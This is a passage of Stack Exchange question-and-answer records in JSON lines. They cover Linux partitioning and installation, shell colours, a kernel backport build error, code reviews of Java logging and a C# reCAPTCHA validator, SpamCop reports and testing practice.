{  "id": "_unix.47222"  , "question": "I am installing an SSD and would like to put / on the SSD and /home, /var, and /tmp on the HDD. My current distro is Kubuntu but I would not mind trying another distro if this procedure can be accomplished easier there. I have installed many different Linux OSes on multiple partitions, however I know of no installer that lets one mount multiple directories on a single partition. I would rather not use three separate partitions as particularly /home, /var, and /tmp are prone to large changes in size and it is not practical to allot each of them some arbitrary maximum.Note that I am discussing a new install, not moving the current system to the SSD / HD split."  , "title": "How to mount multiple directories on the same partition?"  , "tags": "linux;partition;system installation"  , "accepted_answer": "There are two approaches you can use. For either approach, you need first mount your hard disk partition wherever (for example, under /hd) and also add it to /etc/fstab, then create home, var, and tmp inside the mount.Use symlinks.  Then create symlinks from /home to /hd/home, etc.Instead of symlinks, use bind mounts. Syntax is mount --bind /hd/home /home. You can (should) also put that in fstab, using 'bind' as the fstype. The basic way to get it to install like that is to set up the target filesystem by hand before starting the actual install. I know its easy enough with debian-installer to use the installer to create your partitions, mount, and then switch to a different terminal (say, alt-f2), cd into /target, and create your symlinks (or bind mounts). Then switch back to alt-f1 and continue the install. Ubuntu's (and I assume Kubuntu's) installers are based on debian-installer, so I assume similar is possible."  } 
{  "id": "_cstheory.32747"  , "question": "There is a polynomial-time algorithm for computing the number of words of length $n$ in an unambiguous CFG $G = (V, \\Sigma, R, S)$ (via a dynamic programming approach). However, for ambiguous CFGs, the algorithm only computes the number of parse trees resulting in strings of length $n$. Therefore, this result is not the number of words of length $n$ in an ambiguous CFG.Is there a result (other than testing all possible strings of length $n$) for inherently ambiguous CFGs?"  , "title": "Counting words of length $n$ in an inherently ambiguous CFG?"  , "tags": "grammars;context free;dynamic programming"  } 
{  "id": "_webmaster.68692"  , "question": "If I am building a new site where I want to publish my articles that have previously been published on other sites (that I do not have control over them), what is the best thing to do?"  , "title": "Publishing articles twice"  , "tags": "seo;duplicate content"  } 
{  "id": "_webapps.6596"  , "question": "How can I delete images uploaded to TinyGrab?"  , "title": "How can I delete images uploaded to TinyGrab?"  , "tags": "delete;screenshot"  , "accepted_answer": "According to the TinyGrab FAQ:Q. How can I delete a grab from the  TinyGrab server?Visit the TinyGrab  online control panel at  http://tinygrab.com/go/panel to delete  an image that you've uploaded to  TinyGrab. This is a Premium service  only. Only under special / certain  circumstances will we respond to  support requests to delete images from  our service. Free TinyGrab accounts  are intended as a trial and not to be  used as a replacement to TinyGrab  Premium.You can submit a support ticket requesting them to remove a specific screenshot, but they will only do so under special circumstances. I've done this before, and they removed it pretty quickly."  } 
{  "id": "_unix.256686"  , "question": "My laptop – which is my main everyday computer – is currently dual-booting Win10 and Ubuntu 14.04 (though I almost never use Windows). I recently tried out a USB boot stick of the live Debian 8.0.2 image, with the Cinnamon desktop GUI. I was very impressed, and am interested in using it. I don't want to get rid of Ubuntu, and unfortunately can't get rid of Windows (occasionally I still have to be able to read/write 100% docx and xlsx compatible files).So would it be more efficient (in terms of RAM and CPU workload) to bootstrap a Debian image within Ubuntu, or actually triple-boot? I have room on the HDD for another partition, but would I need multiple partitions for grub, etc like when I initially set up the Ubuntu dual-boot? I'm well experienced with double-booting machines, but have never tried a triple."  , "title": "Most efficient for multiple distros on one machine"  , "tags": "debian;ubuntu;dual boot;grub"  } 
{  "id": "_unix.52659"  , "question": "I recall that eval dircolors -b used to display the colours that LS_COLORS was using, based on the file types or extensions. It was not simply the colour values that were displayed but the colours themselves. I could see the colour in which a .png  or .ogg file would be displayed and change it if needed through a custom file.I find that the output of eval dircolors -b is no more in colour.Can someone kindly explain how I might get it back? Perhaps some environment variable is not getting set. Otherwise, is there a workaround?"  , "title": "How can I list LS_COLORS in colour?"  , "tags": "ls;colors"  , "accepted_answer": "Try this script:( # Run in a subshell so it won't crash current color settings    dircolors -b >/dev/null    IFS=:    for ls_color in ${LS_COLORS[@]}; do # For all colors        color=${ls_color##*=}        ext=${ls_color%%=*}        echo -en \\E[${color}m${ext}\\E[0m  # echo color and extension    done    echo)Output:"  } 
{  "id": "_webmaster.20282"  , "question": "This snippit from my apache log reflects some piece of malware casually browsing through my site for some unknown purpose.  The most puzzling thing to me is that the GET address doesn't correspond to anything that exists, so how is this in the transfer log and not the error log?Aside from that, what agent is doing this, and why?60.169.78.42 - - [29/Sep/2011:18:49:53 -0500] GET /wp-admin/post-new.php HTTP/1.0 404 301 http://www.boardspace.net/cgi-bin/login.cgi$kx_http_post$cookie=on&language=&password=super123&pname=biffarcarm Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.260.169.78.42 - - [29/Sep/2011:18:49:53 -0500] GET /member/manage_blog.php?tab=add HTTP/1.0 404 302 http://www.boardspace.net/wp-admin/post-new.php Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.260.169.78.42 - - [29/Sep/2011:18:49:54 -0500] GET /profile_blog_new.php HTTP/1.0 404 300 http://www.boardspace.net/member/manage_blog.php?tab=add Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.260.169.78.42 - - [29/Sep/2011:18:49:55 -0500] GET /account/submit/add-blog/ HTTP/1.0 404 304 http://www.boardspace.net/profile_blog_new.php Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.260.169.78.42 - - [29/Sep/2011:18:49:55 -0500] GET /blogs.php?action=new_post HTTP/1.0 404 289 http://www.boardspace.net/account/submit/add-blog/ Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.260.169.78.42 - - [29/Sep/2011:18:49:56 -0500] GET /blogs/my_page/add/ HTTP/1.0 404 298 http://www.boardspace.net/blogs.php?action=new_post Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.260.169.78.42 - - [29/Sep/2011:18:49:56 -0500] GET /blogs.php?action=write HTTP/1.0 404 289 http://www.boardspace.net/blogs/my_page/add/ Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.260.169.78.42 - - [29/Sep/2011:18:49:57 -0500] GET /my_blogs&action=add HTTP/1.0 404 303 http://www.boardspace.net/blogs.php?action=write Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.266.251.84.28 - - [29/Sep/2011:18:49:56 -0500] GET /cgi-bin/login.cgi?pname=DrRaven&language=english HTTP/1.1 200 21878 - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMNTDF; InfoPath.2)60.169.78.42 - - [29/Sep/2011:18:49:57 -0500] GET /index.php?do=/blog/add/ HTTP/1.0 404 289 http://www.boardspace.net/my_blogs&action=add Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.260.169.78.42 - - [29/Sep/2011:18:49:58 -0500] GET /blog_edit.php HTTP/1.0 404 293 http://www.boardspace.net/index.php?do=/blog/add/ Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.260.169.78.42 - - [29/Sep/2011:18:49:58 -0500] GET /manager/add_entry.php HTTP/1.0 404 301 http://www.boardspace.net/blog_edit.php Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2"  , "title": "Why are nonexistant files listed in the TRANSFER log?"  , "tags": "web crawlers;logging"  } 
{  "id": "_unix.47458"  , "question": "I want to delete a folder of portable hard drive on terminal in Mac. Are there any command line ?"  , "title": "access external hard drive to delete folder on terminal Mac"  , "tags": "command line;osx;external hdd"  , "accepted_answer": "You can use rm to remove the folder on your external hard drive.The full Terminal command looks like this  rm -r /Volumes/$drivename/$folderReplace $drivename with the name of your external hard drive.Replace $folder with the name of your folder.If you don't know the name of your external hard drive you can look it up withls /Volumes"  } 
{  "id": "_unix.359532"  , "question": "I'm trying to install backport 4.4.2-1 on my Kali-Rolling vm machine but I'm getting the following error. I have no idea what went wrong but what I did was first install the linux headers using the following command --> #apt-get install linux-headers-$(uname -r)Everything went well.But When i tried to make install, I got the following error.Please help me. Are there any dependencies missing??? make[4]: 'conf' is up to date.boolean symbol HWMON tested for 'm'? test forced to 'n'boolean symbol HWMON tested for 'm'? test forced to 'n'## configuration written to .config#Building backport-include/backport/autoconf.h ... done.  CC [M]  /root/Downloads/backports-4.4.2-1/compat/main.oIn file included from /root/Downloads/backports-4.4.2-1/backport-include/backport/backport.h:7:0,                 from <command-line>:0:/usr/src/linux-headers-4.9.0-kali3-common/include/asm-generic/qrwlock.h: In function __qrwlock_write_byte:/root/Downloads/backports-4.4.2-1/backport-include/linux/kconfig.h:25:28: error: implicit declaration of function config_enabled [-Werror=implicit-function-declaration] #define IS_BUILTIN(option) config_enabled(option)                        ^/usr/src/linux-headers-4.9.0-kali3-common/include/asm-generic/qrwlock.h:156:26: note: in expansion of macro IS_BUILTIN  return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);                          ^~~~~~~~~~/usr/src/linux-headers-4.9.0-kali3-common/include/asm-generic/qrwlock.h:156:37: error: CONFIG_CPU_BIG_ENDIAN undeclared (first use in this function)  return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);                                 ^/root/Downloads/backports-4.4.2-1/backport-include/linux/kconfig.h:25:43: note: in definition of macro IS_BUILTIN #define IS_BUILTIN(option) config_enabled(option)                                           ^~~~~~/usr/src/linux-headers-4.9.0-kali3-common/include/asm-generic/qrwlock.h:156:37: note: each undeclared identifier is reported only once for each function it appears in  return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);                                 ^/root/Downloads/backports-4.4.2-1/backport-include/linux/kconfig.h:25:43: note: in definition of macro IS_BUILTIN #define IS_BUILTIN(option) config_enabled(option)                                       ^~~~~~cc1: some warnings being treated as errors/usr/src/linux-headers-4.9.0-kali3-common/scripts/Makefile.build:298: recipe for target '/root/Downloads/backports-4.4.2-1/compat/main.o' failedmake[7]: *** [/root/Downloads/backports-4.4.2-1/compat/main.o] Error 1/usr/src/linux-headers-4.9.0-kali3-common/scripts/Makefile.build:549: recipe for target '/root/Downloads/backports-4.4.2-1/compat' failedmake[6]: *** [/root/Downloads/backports-4.4.2-1/compat] Error 2/usr/src/linux-headers-4.9.0-kali3-common/Makefile:1507: recipe for target '_module_/root/Downloads/backports-4.4.2-1' failedmake[5]: *** [_module_/root/Downloads/backports-4.4.2-1] Error 2Makefile:150: recipe for target 'sub-make' failedmake[4]: *** [sub-make] Error 2Makefile:8: recipe for target 'all' failedmake[3]: *** [all] Error 2Makefile.build:6: recipe for target 'modules' failedmake[2]: *** [modules] Error 2Makefile.real:88: recipe for target 'modules' failedmake[1]: *** [modules] Error 2Makefile:40: recipe for target 'install' failedmake: *** [install] Error 2"  , "title": "Kali Linux (Rolling) backport 4.4 installation problem?"  , "tags": "kali linux;backports"  } 
{  "id": "_codereview.138856"  , "question": "I am currently working on a new version of my application, and I just finished rebuilding the log part. It works well but I am skeptical about the choices I made. I am a student and I work alone in some side projects, and I am afraid of developing bad habits.I use java.util.logging, because it is simple enough for what I need to do.The logger will be used by several part of the application (but not at the same time). Each executable will have a logging file. All configurations are stored in Settings class.Main class :public class MyLogger{    public static Logger   LOGGER  = null; // Logger use by Spider, Cleaner, Checker    private static Handler logFile = null; // Logger file    /**     * Initialize logger before first use     *      * @param folderName sub-folder after the log folder     * @param fileName log file name (without extension)     */    public static void initLogger(String folderName, String fileName)    {        if (MyLogger.LOGGER != null)            throw new IllegalStateException(Logger already instantiated);        MyLogger.LOGGER = Logger.getLogger(MyLogger.class.getName());        // Check if log is not disable        if (Settings.getProp().getLogLevel() != Level.OFF)        {            String folderPath = Settings.getProp().getLogPath() + folderName;            File dir = new File(folderPath);            // if the directory does not exist, create it (recursively)            if (!dir.exists())            {                try                {                    dir.mkdirs();                }                catch (SecurityException e)                {                    e.printStackTrace(); // Throw RunTime instead ?                }            }            try            {                // Open log file                MyLogger.logFile = new FileHandler(folderPath + File.separator + fileName + .log, true);                MyLogger.logFile.setEncoding(UTF-8);                // Attache file to logger                MyLogger.LOGGER.addHandler(MyLogger.logFile);            }            catch (SecurityException | IOException e)            {                e.printStackTrace(); // Throw RunTime instead ?            }        }        LOGGER.setLevel(Settings.getProp().getLogLevel());        // Console Text formatter        LOGGER.setUseParentHandlers(false);        MyConsoleHandler handler = new MyConsoleHandler();        handler.setLevel(Settings.getProp().getConsoleLevel());        handler.setFormatter(new MyFormatter());        LOGGER.addHandler(handler);        LOGGER.config(Logger Started :  + folderName +  -  + fileName);        LOGGER.config(Settings.getProp().toString()); // Print application settings    }}Formatter :public class MyFormatter extends Formatter{    // Create a DateFormat to format the logger timestamp.    private static final DateFormat df = new SimpleDateFormat(H:mm:ss.SSS);    /* (non-Javadoc)     * @see java.util.logging.Formatter#format(java.util.logging.LogRecord)     */    @Override    public String format(LogRecord record)    {        StringBuilder builder = new StringBuilder(1000);        builder.append(df.format(new Date(record.getMillis()))).append( ); // time        builder.append(().append(record.getThreadID()).append() ); // Thread ID        builder.append([).append(record.getLevel()).append(] ); // level        builder.append(formatMessage(record)); // message        builder.append(\\n);        return builder.toString();    }}Console Handler :public class MyConsoleHandler extends ConsoleHandler{    /* (non-Javadoc)     * @see java.util.logging.Handler#publish(java.util.logging.LogRecord)     */    @Override    public void publish(LogRecord record)    {        try        {            if(record.getLevel().intValue() >= this.getLevel().intValue())            {                String message = getFormatter().format(record);                if (record.getLevel().intValue() >= Level.WARNING.intValue())                {                    System.err.write(message.getBytes());                                       }                else                {                    System.out.write(message.getBytes());                }            }        } catch (Exception exception)        {            reportError(null, exception, ErrorManager.FORMAT_FAILURE);            return;        }    }}Example of use :public static void main(String[] args){    MyLogger.initLogger(test, 001);    MyLogger.LOGGER.info(Testing message);    MyLogger.LOGGER.warning(A warning message !);}Example of output (console) :22:43:26.918 (1) [CONFIG] Logger Started : test - 00122:43:26.921 (1) [CONFIG] Appication Settings :      - [...]     - Console Level : CONFIG     - Log Level : FINER     - Log Path : ./log/     - [...]     - OutputQueueLimit : 1000 items22:43:26.922 (1) [INFO] Testing message22:43:26.922 (1) [WARNING] A warning message !"  , "title": "Wrapper for Java logging"  , "tags": "java;logging"  , "accepted_answer": "1) Braces stylePutting opening curly braces on new lines is fine, though the big majority of Java developers don't do it and it wastes space.Not putting curly braces around single line statements is dangerous and many people will discourage you from doing it!:https://stackoverflow.com/questions/8020228/is-it-ok-if-i-omit-curly-braces-in-javahttps://softwareengineering.stackexchange.com/questions/16528/single-statement-if-block-braces-or-no/16530 2) capitalized field namesCapitalized field names (LOGGER) are classically reserved for final constants, your LOGGER is not final. Meanwhile your DateFormat df should be capitalized.3) Properly build pathsUse the File constructor to combine path parts:https://stackoverflow.com/questions/412380/combine-paths-in-javaI guess making your ultimate File like File file = new File(folderName, fileName + .log) and then calling file.getParentFile().mkdirs(); would be the most pleasant invocation.Pass the path of the file to your FileHandler constructor.4) Throw RuntimeException on SecurityExceptionYour logger won't work. Something is wrong and your program shouldn't just silently ignore it! I'd prefer it to crash at that point: Fix the logging or I won't work!  5) SimpleDateFormat is not threadsafe!Evil JRE developers want to secretly and unexpectedly mess up your date formatting:https://stackoverflow.com/questions/6840803/simpledateformat-thread-safetyYou should at least be aware of that if you plan to use multithreading.6) Append cascadeYour append cascade is somewhat painful to read: It's hard for me to see exactly what you are combining.I'd put every .append() on a new line.7) Append cascadeIs there any advantage to calling write(message.getBytes()); instead of println/print (message)? I have never seen that before.  8) Seperate loggers for different classes, no direct accessNormally you create one logger for each class it's used in and put it in a static final field. That way it's easier to control logging and find out where the log entry comes from.9) HH instead of HYou might want to use HH instead of H in your SimpleDateFormat, so your log entries are better aligned and more consistent."  } 
{  "id": "_webmaster.30100"  , "question": "I've received a message from SpamCop.net that email from 1 of my websites has been marked as spam. The report was sent to my hosting provider who then forwarded it to me.I'n now investigating what happened exactly.I've never been in touch with SpamCop, what exactly does it do?Did 1 user report email I sopposedly sent as spam? Or is there a minimum treshhold before SpamCop sends the report?Are there immedicate consequences when receiving such a report?"  , "title": "Spamcop message received, what now?"  , "tags": "bulk email"  , "accepted_answer": "The main purpose of SpamCop.Net is to report spam sources, not web sites. If it reported your website and not an e-mail you sent, then that was merely as a convenience to you and your ISP to let you know that someone is Spamvertizing (also see this page) your web site. If the unlikely event that you have any control over whoever used your web site in their e-mail, insist that she or he stop using it. If not, there is nothing you can (or need to) do unless your ISP is threatening to punish you, in which case you can refer them to this Answer and the SpamCop Forum web site in general.In answer to your question, But I was wondering if this report is immediately sent after just 1 complaint to SpamCop or if there's a treshhold within SpamCop after which SpamCop sends this report to my hosting provider? the answer is that each report from a SpamCop user is sent to the hosting provider, at the option of the SpamCop user (by default, it is sent). It is not really a complaint but, rather, a heads-up that your web site is being referenced in spam.Note from originator, Steve T: thanks to Su for improving my original post."  } 
{  "id": "_unix.81530"  , "question": "Got debian installed finally but during install I think I choose to use the local media over the internet for packages. needed to do that as was not sure if will try to connect right away (my modem needs a login).Now I want to install/ enable sudo and install other programs like thunderbird eclipse, and chrome. but I do not have sudowhen I type the command,aptitude install sudoGet this message:The following NEW packages will be installed:  sudo  0 packages upgraded, 1 newly installed, 0 to remove and 0 notupgraded. Need to get 0 B/842 kB of archives. After unpacking 1,882 kBwill be used. Media change: Please insert the disc labeled 'DebianGNU/Linux 7.1.0 _Wheezy_ - Official amd64 CD Binary-1 20130615-23:06'into the drive '/media/cdrom/' and press [Enter].Do not have a cdrom. What to do? Have root user password though logged in as another user."  , "title": "use net instread of cdrom. linux, aptitude install"  , "tags": "sudo;system installation"  , "accepted_answer": "If you have access to root, you can edit the /etc/apt/sources.list file as described on the debian site hereuse suenter root passwordthen with an editor (nano is easy to use as it has menus if you have it installed otherwise vi is most likely to be present, see a manual for vi here )nano /etc/apt/sources.listor vi /etc/apt/sources.list"  } 
{  "id": "_softwareengineering.240444"  , "question": "I'm developing a website (using Django) which will depend on an API for it's main functionality which is create/update/delete objects.But the API also provides:User sign up and loginUser relations to their objectsUser groups and permissionsThis is great but I'm conserned about fully depending on the API for everything even user sign up and login, so I have 2 choices:Using the API for everything:Advantages:User authentication, objects, relations, permissions are already managedMy job is only to query the API and display the resultsDisadvantages:Lots of HTTP requests to the APIThe website will break if the API goes downThe website rendering time will be slower (will use ajax)Using the API when needed:Advantages:Fewer HTTP requestsThe website will be a little fasterIf the API goes down, not all the functions of the website will stopDisadvantages:I'll have to manage user authentication, permissions and relations to his objects in the APIDuplicate user data in my database and the API (I'll have a copy of the user objects)Worried about the data sync (I'll update the database only on create/update/delete requests to the API)Which one is a better choice and why ? what design is usually used for such cases ?"  , "title": "Website as an API client vs using the API only when needed?"  , "tags": "design;web development;web applications;api;scalability"  , "accepted_answer": "This is an interesting question, and not very easy to answer. It depends on what website you are developing, in order to justify the effort in any direction. Here is my opinion for some of your points:Using the API for everything: DisadvantagesLots of HTTP requests to the API  This depends on whether you are developing a standard website or one that should be accessible extensively via mobile devices. It makes sense to use smaller in portions, but more frequent communication in case when the client is a mobile device. Mobile devices have limited capabilities in terms of hardware and could also have slower internet connection. A large server response may take significant time to be processed on the device itself.The website will break if the API goes downWell, that is a problem of the website, not the API. The website must be developed with caution to the case when the API is not available. This could be a real-life scenario, as if the API is being updated and redeployed, the site would experience a downtime and not work. Regardless of whether entirely depending on the API or not, you must provide means for graceful error handling - show a suitable error page, or limit the functionality accordingly.The website rendering time will be slower (will use ajax)I disagree. AJAX actually causes the site to load faster. Each AJAX request, if made asynchronous, would render a separate portion of the site. If you were to wait for all portions to load at once, the cumulative loading time would hardly differ. Besides, almost everyone uses AJAX today, and this has proven to not be an issue, if properly done. Additionally, AJAX is extensively used to bring some processing to the client, not the server - this is usually employed as a technique to reduce server load.Using the API when needed: DisadvantagesI'll have to manage user authentication, permissions and relations to his objects in the APIIf that is a concern to you, I mean if you need to do the user authentication and security by youtself, then you should not rely on the API entirely. It is often the case that people develop their own system and maintain both the local and the remote (the API's) accounts at once - the concept of linked accounts. It is popular approach for system with already existing users to provide means for linking the user account with, for instance, the user's facebook account. If you want have your own user account information, but are reluctant to manage the authentication and authorization yourself, consider using OpenID if the API supports it, or consider implementing one, if you are developing the API too.Duplicate user data in my database and the API (I'll have a copy of the user objects)As per the above point, it is inevitable to have some data repeated. If the user object to your project means something different to you than the user from the API, then you must manage this information yourself. Worried about the data sync (I'll update the database only on create/update/delete requests to the API)Maintaining two distinct systems in sync is something that has always been a serious development effort. If you can avoid this, and rely entirely on the API, you'd probably prefer the API approach. If the API does not provide you with all the capabilities for your own project, then you could still have to face this maintenance task. In addition to your concerns, you need to consider some additional ones:Does the API guarantee backwards compatibility if they introduce changes?Is the API documented well enough so you can cover the aspects of your project with it entirely?How does one introduce fixes/improvements to the API? There are serious differences between maintaining and improving OpenSource projects/APIs and commercial ones. Also, any project usually has its own policy to when is appropriate to apply certain fixes and changes (most open source projects will do this faster than a commercial product, that is not to say fast enough for you). This is something to consider if you discover a problem with the API that breaks your code. If this is not seen to be fixed by the API's team, you would be on your own for working this around.It is sometimes acceptable to not directly use the external API, but create a wrapping API that is what you would directly use for your project. Then delegate the API availability and compatibility problems to your API wrapper. That way, changes will not directly affect the website, or any other application that consumes it. You will also have the freedom to expose the external API in a form that is more suitable. For example, you may expose a single method that results in multiple calls to the external API - so you will reduce the number of requests the website does.As a bottom line, the real concerns you may have is the data duplication and the site availability in case of API crash or incompatible changes. I would decide based on the estimated development effort with either approach, and the likeability of problems with that approach."  } 
{  "id": "_cs.67042"  , "question": "We have the word w = aabceefgeebdaabbceeffghdcbbeefbbbbghhie .  I have created a Huffman tree for the string w. We get the following table: Now I want to create a Huffman tree for a Block-Code with length of block $4$. Do we maybe take each consecutive 4 letters, i.e., {aabc, eefg, eebd, aabb, ceef, fghd, cbbe, efbb, bbgh, hie} to make the tree? But then the last one is of length 3 and not 4.  So, do we choose in an other way the blocks? "  , "title": "What is a Huffman tree for a Block-Code?"  , "tags": "data structures;trees;binary trees;huffman coding"  } 
{  "id": "_unix.115443"  , "question": "I usually use kate as my preferred text editor, however, whenever I open it there are no window borders, and thus no maximize, minimize, and close buttons.  How can I fix this?I tried going thought the view menu, but was unable to find any settings to alter this.Moreover, it seems to be stuck in always on top mode and thus I cannot view my panel to use right click to close or modify it.Pressing F11 produces no change.There is a scroll bar, but it doesn't appear to be controlled by the window manager (kwin) as it is much wider than normal and has a mini preview of the entire document as its background.  I'd prefer not to override this feature if possible.I have an almost default install of Linux Mint KDE 16 x64.Related: How do I exit full screen after enabling via the right click context menu of kwin (KDE)?"  , "title": "Kate has no window borders, and thus no minimize, maximize, and close buttons"  , "tags": "window manager;kate;window decorations"  , "accepted_answer": "This will happen if you:right click on the kate window border or it's entry in the task manager barselect 'more actions' -> 'Full screen'orpress ctrl-shift-FI originally solved this by:removing katerc from ~/.kde/share/configThis is best undone by:pressing ctrl-shift-F"  } 
{  "id": "_softwareengineering.152848"  , "question": "It happens that some one just leaves the company all of sudden. Now his work needs to be completed and you are being assigned it. Having no idea what was he up to (was it 90% done or 9%), how do you manage the leftover?Shall I start from scratch? What if it was 90% done? Shall I try and understand whatever he has done? What if it was just nonsense?"  , "title": "How do you manage projects left over by other employees?"  , "tags": "project management;efficiency"  } 
{  "id": "_softwareengineering.205835"  , "question": "Despite being very stakeholders friendly, ATDD aimed to provide a stop line when a feature has just been done. This avoids wasting time to add non-focused (and sometimes useless) code.That's why some teams start by establishing a walking skeleton of the application, and directly specifying with an acceptance test the first required feature. Let's suppose this first acceptance test (not representing a relevant first acceptance test, just being an example):Given Michael has just been created in the application,his status should be left to non-activated.I want to write my acceptances tests focusing on business logic directly (use-cases), not dealing with GUI for business rules.Thus my question would be...how to write it? since I don't even already know what is a User, what is a status etc...Indeed, shouldn't it be the role of TDD to emerge the design and therefore these components?But if I firstly practice TDD in order to emerge them, the benefit of ATDD (as a stop line) would disappear.I imagine that it would be more consistent to write some acceptance tests (before entering TDD cycle) when the project has well progressed, since all main components would already be designed.To sum up, should I always write my acceptances test BEFORE my TDD cycle? "  , "title": "How to practice ATDD if design is not yet emerged from TDD?"  , "tags": "design;agile;testing;tdd;acceptance testing"  , "accepted_answer": "Acceptance tests access the application through a special purpose API. You presented this use case:Given Michael has just been created in the application, his status should be left to non-activated.The API implied from this use case is something like:CreateUser(String name);enum UserStatus {non-activated};UserStatus GetUserStatus(String name);So far this has nothing to do with TDD.  It's just a simple API that your acceptance tests can use to access the application.Now, to make this acceptance test pass, you'll have to implement this API.  That's when you start doing TDD.  The decisions you make while test-driving the solution will help you determine the design of the application.  Note that the design of the application has nothing to do with the design of the API that's used by your acceptance tests.  That API is an adapter layer between those tests and your application.  That layer allows your application to assume any design you so desire.Regarding TDD and design.  It is true that design emerges from TDD.  But TDD is not the sole process by which you design your application.  You also think through the design in many other ways.  You might draw some UML diagrams.  You might use CRC cards.  You might have a design session with your co-workers.  Indeed, you should likely do ALL of these things.  And you should also allow designs to emerge with TDD.  TDD doesn't replace previous design tools, it adds a new tool to the kit.  Some folks will likely complain that this sounds like BDUF, and doesn't sound very Agile.  The problem with that is the letter 'B'.  It's entirely true that we don't want to do BIG design up front.  But it's not true at all that we don't want to do some design up front.  We do!  A few hours, or even days of design up front is not bad.  Months and months of it is."  } 
{  "id": "_unix.220223"  , "question": "I like the default Adwaita background that came with cinnamon installed on Arch linux. For some reason however this background is very dark, much darker than it appears in the settings for choosing background:As I like to be able to view my backgound through my transparent terminal and just generally prefer a slightly happier look is there a way to fix this or a reason this is happening? I know I could always edit the image with something like GIMP increasing the brightness to counteract this effect, but I'm wondering if there is a more elegant solution."  , "title": "Adwaita Background Appears Much Darker in Reality"  , "tags": "linux;arch linux;cinnamon;wallpaper"  } 
{  "id": "_cogsci.8215"  , "question": "Literature suggests that analogies are helpful in teaching and learning science concepts. But every concept can not and should not be taught using analogies as there are some concepts that can be better taught using examples and learning by doing .My question is  for what kind of concepts do we really need an analogy ?Answers may include a reference to a piece of literature / some insights from teaching experience /blogs etc."  , "title": "For what kind of concepts do we really need an analogy?"  , "tags": "learning;educational psychology"  } 
{  "id": "_codereview.100594"  , "question": "This entire class came out of a chat discussion, and I'm curious on how it looks. (This is like literally 30 minutes of development time.)The idea is to allow very easy, quick implementations of Google's reCAPTCHA (I am not a robot) checkbox CAPTCHA algorithm. It only requires minor work from the implementor to make it work properly, and that was the point.Warning: Minimal implementation effort required.public class ReCaptchaValidator{    private const string _HeadScriptInclude = <script src='https://www.google.com/recaptcha/api.js'></script>;    private const string _ReCaptchaLocationInclude = <div class=\\g-recaptcha %EXTRACLASSES%\\ data-sitekey=\\%SITEKEY%\\></div>;    private readonly string _ReCaptchaSecret;    private readonly string _ReCaptchaSiteKey;    /// <summary>    /// Returns the script to be included in the <code>&lt;head&gt;</code> of the page.    /// </summary>    public string HeadScriptInclude { get { return _HeadScriptInclude; } }    /// <summary>    /// Use this to get or set any extra classes that should be added to the <code>&lt;div&gt;</code> that is created by the <see cref=ReCaptchaLocationInclude/>.    /// </summary>    public List<string> ExtraClasses { get; set; }    /// <summary>    /// Returns the <code>&lt;div&gt;</code> that should be inserted in the HTML where the reCAPTCHA should go.    /// </summary>    /// <remarks>    /// I'm still not sure if this should be a method or not.    /// </remarks>    public string ReCaptchaLocationInclude { get { return _ReCaptchaLocationInclude.Replace(%SITEKEY%, _ReCaptchaSiteKey).Replace(%EXTRACLASSES%, string.Join( , ExtraClasses)); } }    /// <summary>    /// Creates a new instance of the <see cref=ReCaptchaValidator/>.    /// </summary>    /// <param name=reCaptchaSecret>The reCAPTCHA secret.</param>    /// <param name=reCaptchaSiteKey>The reCAPTCHA site key.</param>    public ReCaptchaValidator(string reCaptchaSecret, string reCaptchaSiteKey)    {        _ReCaptchaSecret = reCaptchaSecret;        _ReCaptchaSiteKey = reCaptchaSiteKey;    }    /// <summary>    /// Determines if the reCAPTCHA response in a <code>NameValueCollection</code> passed validation.    /// </summary>    /// <param name=form>The <code>Request.Form</code> to validate.</param>    /// <returns>A boolean value indicating success.</returns>    public bool Validate(NameValueCollection form)    {        string reCaptchaSecret = _ReCaptchaSecret;        string reCaptchaResponse = form[g-recaptcha-response];        bool passedReCaptcha = false;        using (WebClient client = new WebClient())        {            byte[] response = client.UploadValues(https://www.google.com/recaptcha/api/siteverify,                                                    new NameValueCollection() { { secret, reCaptchaSecret }, { response, reCaptchaResponse } });            string reCaptchaResult = System.Text.Encoding.UTF8.GetString(response);            if (reCaptchaResult.IndexOf(\\success\\: true) > 0)                passedReCaptcha = true;        }        return passedReCaptcha;    }}Usage:string reCaptchaSecret = ;string reCaptchaSiteKey = ;ReCaptchaValidator rcv = new ReCaptchaValidator(reCaptchaSecret, reCaptchaSiteKey);bool passedReCaptcha = rcv.Validate(Request.Form);It should be pretty self-explanatory. You can use the ReCaptchaValidator.HeadScriptInclude to get the entire <script> tag for the head, and ReCaptchaValidator.ReCaptchaLocationInclude to get the <div> element for placement in the body. These aren't demonstrated here, but are easy to implement."  , "title": "Google reCAPTCHA Validator"  , "tags": "c#;object oriented;polymorphism;captcha"  , "accepted_answer": "Some quick shots at the code  by retrieving the ReCaptchaLocationInclude property an ArgumentNullException is thrown, because you didn't initialize the ExtraClasses property. I would also like to suggest changing this property from autoimplemented to a normal one, so you can validate any set value.  bool passedReCaptcha = false; is not really a good name here. so I wouldn't use this variable at all. Instead I would replace this  if (reCaptchaResult.IndexOf(\\success\\: true) > 0)    passedReCaptcha = true;  with     return (reCaptchaResult.IndexOf(\\success\\: true) > 0);and for the IDE's love add a return false; at the end of the method. If you don't want to do this, it is fine too, but you should replace 